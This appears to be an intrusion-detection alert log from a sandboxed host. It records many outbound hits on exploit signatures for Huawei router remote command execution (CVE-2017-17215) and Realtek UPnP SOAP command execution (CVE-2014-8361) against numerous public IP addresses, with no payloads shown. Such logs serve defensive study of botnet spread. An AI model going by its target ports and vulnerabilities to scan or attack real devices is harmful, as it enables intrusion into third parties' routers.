07/20/24-23:01:19.220572	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48672	37215	192.168.2.14	41.213.17.248
07/20/24-23:01:07.426607	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35034	52869	192.168.2.14	177.232.37.130
07/20/24-23:01:11.461274	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55820	37215	192.168.2.14	98.118.67.125
07/20/24-23:01:37.171010	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51518	37215	192.168.2.14	41.201.182.108
07/20/24-23:01:29.186915	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34166	52869	192.168.2.14	174.173.238.249
07/20/24-23:01:34.949877	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41996	52869	192.168.2.14	50.184.118.30
07/20/24-23:01:29.187581	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47646	52869	192.168.2.14	197.234.206.236
07/20/24-23:01:33.069192	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58012	37215	192.168.2.14	197.74.148.40
07/20/24-23:01:30.726948	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49798	52869	192.168.2.14	194.97.213.111
07/20/24-23:01:14.401421	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46620	37215	192.168.2.14	157.230.50.180
07/20/24-23:01:33.605284	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50700	52869	192.168.2.14	164.158.91.189
07/20/24-23:01:29.173099	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53560	52869	192.168.2.14	35.167.163.145
07/20/24-23:01:29.204277	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54752	52869	192.168.2.14	72.66.251.190
07/20/24-23:01:28.184352	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51694	37215	192.168.2.14	41.218.48.18
07/20/24-23:01:13.333101	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49812	52869	192.168.2.14	209.87.192.88
07/20/24-23:01:05.895933	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37054	37215	192.168.2.14	41.32.58.72
07/20/24-23:01:33.050087	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49048	37215	192.168.2.14	41.14.113.103
07/20/24-23:01:02.411662	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34332	37215	192.168.2.14	157.183.27.248
07/20/24-23:01:30.736329	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45316	52869	192.168.2.14	61.33.247.239
07/20/24-23:01:07.668438	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41768	37215	192.168.2.14	197.245.150.186
07/20/24-23:01:37.122769	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37652	37215	192.168.2.14	9.175.29.238
07/20/24-23:01:33.055417	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45028	37215	192.168.2.14	2.170.112.7
07/20/24-23:01:24.075555	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55060	52869	192.168.2.14	73.141.57.7
07/20/24-23:01:24.490480	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52988	52869	192.168.2.14	35.167.163.145
07/20/24-23:01:33.059039	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56144	37215	192.168.2.14	50.139.236.132
07/20/24-23:01:33.183640	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58592	52869	192.168.2.14	90.38.224.171
07/20/24-23:01:07.684133	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60174	37215	192.168.2.14	157.141.214.119
07/20/24-23:01:11.454991	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39382	37215	192.168.2.14	41.220.244.9
07/20/24-23:01:25.230327	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41456	37215	192.168.2.14	197.39.188.191
07/20/24-23:01:31.211608	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36868	52869	192.168.2.14	76.153.92.60
07/20/24-23:01:34.952294	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60444	52869	192.168.2.14	133.182.11.249
07/20/24-23:01:22.792913	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60158	37215	192.168.2.14	97.67.89.6
07/20/24-23:01:24.075435	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55902	52869	192.168.2.14	102.213.194.254
07/20/24-23:01:24.313246	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49644	52869	192.168.2.14	124.106.212.23
07/20/24-23:01:05.453905	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50060	52869	192.168.2.14	82.86.85.182
07/20/24-23:01:11.474688	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36486	37215	192.168.2.14	209.241.55.97
07/20/24-23:01:23.061358	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56716	52869	192.168.2.14	144.251.49.213
07/20/24-23:01:29.169710	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41784	52869	192.168.2.14	109.148.201.214
07/20/24-23:01:37.227564	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44818	37215	192.168.2.14	197.174.38.103
07/20/24-23:01:02.414137	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36598	37215	192.168.2.14	197.170.105.28
07/20/24-23:01:28.219332	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36016	37215	192.168.2.14	41.17.81.186
07/20/24-23:01:25.281671	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59398	37215	192.168.2.14	157.221.76.168
07/20/24-23:01:34.945022	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58364	52869	192.168.2.14	35.151.246.95
07/20/24-23:01:13.333720	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57648	52869	192.168.2.14	102.223.154.160
07/20/24-23:01:28.175716	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51940	37215	192.168.2.14	160.6.169.188
07/20/24-23:01:05.898280	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51778	37215	192.168.2.14	197.252.184.130
07/20/24-23:01:37.166003	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36684	37215	192.168.2.14	197.55.206.151
07/20/24-23:01:33.100578	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43220	37215	192.168.2.14	157.207.83.201
07/20/24-23:01:19.335605	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38520	37215	192.168.2.14	13.82.252.86
07/20/24-23:01:19.221647	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56434	37215	192.168.2.14	157.223.201.35
07/20/24-23:01:25.284910	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40864	37215	192.168.2.14	157.240.191.4
07/20/24-23:01:11.461274	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49370	37215	192.168.2.14	157.188.132.33
07/20/24-23:01:37.121609	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45900	37215	192.168.2.14	197.198.199.152
07/20/24-23:01:13.328619	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35474	52869	192.168.2.14	34.37.107.29
07/20/24-23:01:14.396917	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50242	37215	192.168.2.14	169.36.6.236
07/20/24-23:01:11.448569	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51336	37215	192.168.2.14	197.133.177.131
07/20/24-23:01:02.414137	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54792	37215	192.168.2.14	157.47.87.238
07/20/24-23:01:31.081501	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43532	52869	192.168.2.14	181.57.234.228
07/20/24-23:01:06.619651	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55584	52869	192.168.2.14	72.146.47.133
07/20/24-23:01:11.467355	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55442	37215	192.168.2.14	41.164.244.86
07/20/24-23:01:33.084068	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58948	37215	192.168.2.14	115.13.49.74
07/20/24-23:01:25.288605	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35994	37215	192.168.2.14	197.81.248.145
07/20/24-23:01:25.289824	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52780	37215	192.168.2.14	157.161.253.42
07/20/24-23:01:13.330389	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42470	52869	192.168.2.14	112.236.210.206
07/20/24-23:01:28.208110	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44970	37215	192.168.2.14	157.25.38.227
07/20/24-23:01:37.163818	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46196	37215	192.168.2.14	41.154.146.172
07/20/24-23:01:05.900314	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34592	37215	192.168.2.14	197.91.36.141
07/20/24-23:01:22.785873	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57318	37215	192.168.2.14	197.113.23.236
07/20/24-23:01:37.208725	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52422	37215	192.168.2.14	197.22.110.164
07/20/24-23:01:06.126792	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60050	52869	192.168.2.14	37.92.251.97
07/20/24-23:01:28.211361	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60326	37215	192.168.2.14	157.3.40.6
07/20/24-23:01:11.454417	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39712	37215	192.168.2.14	197.145.89.132
07/20/24-23:01:33.069192	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47668	37215	192.168.2.14	176.192.185.101
07/20/24-23:01:07.680629	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43804	37215	192.168.2.14	149.111.221.178
07/20/24-23:01:13.331537	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48176	52869	192.168.2.14	207.107.95.51
07/20/24-23:01:37.120709	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54438	37215	192.168.2.14	157.137.141.169
07/20/24-23:01:05.906603	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40154	37215	192.168.2.14	157.46.64.49
07/20/24-23:01:37.122115	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46260	37215	192.168.2.14	157.59.9.253
07/20/24-23:01:19.224455	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55106	37215	192.168.2.14	166.99.130.21
07/20/24-23:01:33.043558	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37826	37215	192.168.2.14	157.153.169.182
07/20/24-23:01:37.122115	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57518	37215	192.168.2.14	157.62.54.159
07/20/24-23:01:28.196416	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51582	37215	192.168.2.14	43.2.151.170
07/20/24-23:01:29.528550	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60468	52869	192.168.2.14	58.133.29.249
07/20/24-23:01:33.071289	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43700	37215	192.168.2.14	223.252.141.56
07/20/24-23:01:34.939612	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36624	52869	192.168.2.14	23.217.181.6
07/20/24-23:01:19.221490	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50800	37215	192.168.2.14	157.121.232.89
07/20/24-23:01:14.397565	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41738	37215	192.168.2.14	41.126.108.228
07/20/24-23:01:05.997211	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49556	52869	192.168.2.14	209.88.50.174
07/20/24-23:01:29.198098	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57768	52869	192.168.2.14	157.113.216.32
07/20/24-23:01:02.440637	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44376	37215	192.168.2.14	197.199.221.47
07/20/24-23:01:25.280228	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60350	37215	192.168.2.14	157.175.38.165
07/20/24-23:01:29.182229	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39560	52869	192.168.2.14	94.133.203.252
07/20/24-23:01:33.046879	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34250	37215	192.168.2.14	197.113.77.27
07/20/24-23:01:22.794319	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48486	37215	192.168.2.14	197.3.243.86
07/20/24-23:01:25.283485	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34182	37215	192.168.2.14	41.14.212.157
07/20/24-23:01:33.579925	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50892	52869	192.168.2.14	163.241.201.162
07/20/24-23:01:05.619970	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47368	52869	192.168.2.14	134.76.14.241
07/20/24-23:01:19.222257	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37720	37215	192.168.2.14	197.54.31.152
07/20/24-23:01:33.036114	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40424	37215	192.168.2.14	197.132.79.26
07/20/24-23:01:34.949877	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60486	52869	192.168.2.14	131.234.185.229
07/20/24-23:01:25.282553	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43978	37215	192.168.2.14	197.62.151.34
07/20/24-23:01:07.662924	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35436	37215	192.168.2.14	197.175.37.183
07/20/24-23:01:07.683360	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36400	37215	192.168.2.14	197.130.231.11
07/20/24-23:01:34.090702	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48438	52869	192.168.2.14	44.203.11.143
07/20/24-23:01:19.233961	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48132	37215	192.168.2.14	41.36.106.160
07/20/24-23:01:19.335313	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48220	37215	192.168.2.14	197.118.16.49
07/20/24-23:01:25.291636	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50402	37215	192.168.2.14	136.198.187.249
07/20/24-23:01:25.507121	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43544	52869	192.168.2.14	125.128.116.127
07/20/24-23:01:34.907114	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42736	52869	192.168.2.14	31.171.131.217
07/20/24-23:01:37.128294	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58404	37215	192.168.2.14	157.3.225.101
07/20/24-23:01:37.158916	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52026	37215	192.168.2.14	197.54.170.112
07/20/24-23:01:02.412914	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35314	37215	192.168.2.14	157.75.252.43
07/20/24-23:01:13.333101	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52224	52869	192.168.2.14	108.207.129.253
07/20/24-23:01:33.888160	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58592	52869	192.168.2.14	133.182.11.249
07/20/24-23:01:07.438956	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43902	52869	192.168.2.14	110.190.170.59
07/20/24-23:01:14.487012	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54024	37215	192.168.2.14	207.178.15.41
07/20/24-23:01:32.104403	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51088	52869	192.168.2.14	116.117.218.123
07/20/24-23:01:14.440518	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49444	37215	192.168.2.14	41.216.210.76
07/20/24-23:01:33.068258	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40242	37215	192.168.2.14	41.236.37.80
07/20/24-23:01:13.336216	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47404	52869	192.168.2.14	36.198.164.211
07/20/24-23:01:19.222596	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40550	37215	192.168.2.14	197.77.204.153
07/20/24-23:01:07.483062	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40752	52869	192.168.2.14	202.104.226.178
07/20/24-23:01:33.620818	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48502	52869	192.168.2.14	192.67.13.54
07/20/24-23:01:11.452806	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34856	37215	192.168.2.14	41.130.100.14
07/20/24-23:01:19.227537	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33838	37215	192.168.2.14	41.74.123.142
07/20/24-23:01:13.333076	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34692	52869	192.168.2.14	14.68.225.116
07/20/24-23:01:19.221490	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56596	37215	192.168.2.14	197.233.57.38
07/20/24-23:01:06.876426	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58326	52869	192.168.2.14	149.3.41.152
07/20/24-23:01:28.146123	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53528	37215	192.168.2.14	220.48.172.9
07/20/24-23:01:33.069192	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48726	37215	192.168.2.14	210.203.32.204
07/20/24-23:01:37.122448	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45434	37215	192.168.2.14	41.123.27.175
07/20/24-23:01:14.406708	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	32880	37215	192.168.2.14	41.44.7.216
07/20/24-23:01:39.711137	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60568	37215	192.168.2.14	197.137.176.68
07/20/24-23:01:11.456952	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59936	37215	192.168.2.14	157.73.86.148
07/20/24-23:01:22.779210	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46706	37215	192.168.2.14	87.63.121.255
07/20/24-23:01:05.864441	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54232	52869	192.168.2.14	194.147.115.196
07/20/24-23:01:05.898353	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58892	37215	192.168.2.14	41.63.204.221
07/20/24-23:01:37.214680	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39654	37215	192.168.2.14	157.136.120.76
07/20/24-23:01:22.784106	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58784	37215	192.168.2.14	157.214.11.181
07/20/24-23:01:02.411076	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49858	37215	192.168.2.14	212.127.34.6
07/20/24-23:01:14.400300	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52616	37215	192.168.2.14	41.112.235.220
07/20/24-23:01:23.020514	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46072	52869	192.168.2.14	137.171.174.123
07/20/24-23:01:37.199306	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52026	37215	192.168.2.14	157.126.92.122
07/20/24-23:01:13.333328	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60930	52869	192.168.2.14	97.182.119.204
07/20/24-23:01:29.170361	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52180	52869	192.168.2.14	167.31.141.74
07/20/24-23:01:11.461274	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34598	37215	192.168.2.14	18.78.130.138
07/20/24-23:01:05.896134	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43030	37215	192.168.2.14	41.177.182.89
07/20/24-23:01:34.913412	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52694	52869	192.168.2.14	116.117.218.123
07/20/24-23:01:37.124220	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41508	37215	192.168.2.14	53.158.5.131
07/20/24-23:01:05.636428	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46748	52869	192.168.2.14	13.188.216.17
07/20/24-23:01:25.288605	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54302	37215	192.168.2.14	157.113.213.117
07/20/24-23:01:13.329927	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54402	52869	192.168.2.14	65.188.53.189
07/20/24-23:01:05.898116	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58062	37215	192.168.2.14	157.85.25.154
07/20/24-23:01:25.230281	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49918	37215	192.168.2.14	197.235.129.31
07/20/24-23:01:05.896134	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49348	37215	192.168.2.14	212.240.183.0
07/20/24-23:01:34.972618	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54832	52869	192.168.2.14	87.188.195.240
07/20/24-23:01:37.208725	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51508	37215	192.168.2.14	197.29.142.28
07/20/24-23:01:25.284909	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56566	37215	192.168.2.14	109.76.24.65
07/20/24-23:01:02.415804	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52592	37215	192.168.2.14	41.181.208.214
07/20/24-23:01:02.412914	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34686	37215	192.168.2.14	113.163.100.190
07/20/24-23:01:05.900314	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39950	37215	192.168.2.14	197.188.141.9
07/20/24-23:01:34.929652	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51830	52869	192.168.2.14	197.75.140.61
07/20/24-23:01:07.666600	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50262	37215	192.168.2.14	157.87.213.70
07/20/24-23:01:37.121609	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50782	37215	192.168.2.14	157.63.147.250
07/20/24-23:01:37.160288	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35018	37215	192.168.2.14	176.88.4.158
07/20/24-23:01:02.411662	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43890	37215	192.168.2.14	157.255.17.174
07/20/24-23:01:34.932468	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44548	52869	192.168.2.14	81.201.211.116
07/20/24-23:01:05.849562	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57974	52869	192.168.2.14	99.202.52.30
07/20/24-23:01:11.477507	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43184	37215	192.168.2.14	34.229.213.173
07/20/24-23:01:28.208110	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49060	37215	192.168.2.14	68.224.117.209
07/20/24-23:01:34.919559	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48118	52869	192.168.2.14	206.110.55.66
07/20/24-23:01:33.030189	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53760	37215	192.168.2.14	75.210.8.237
07/20/24-23:01:24.093369	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44556	52869	192.168.2.14	171.71.112.103
07/20/24-23:01:37.120446	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42260	37215	192.168.2.14	41.219.238.228
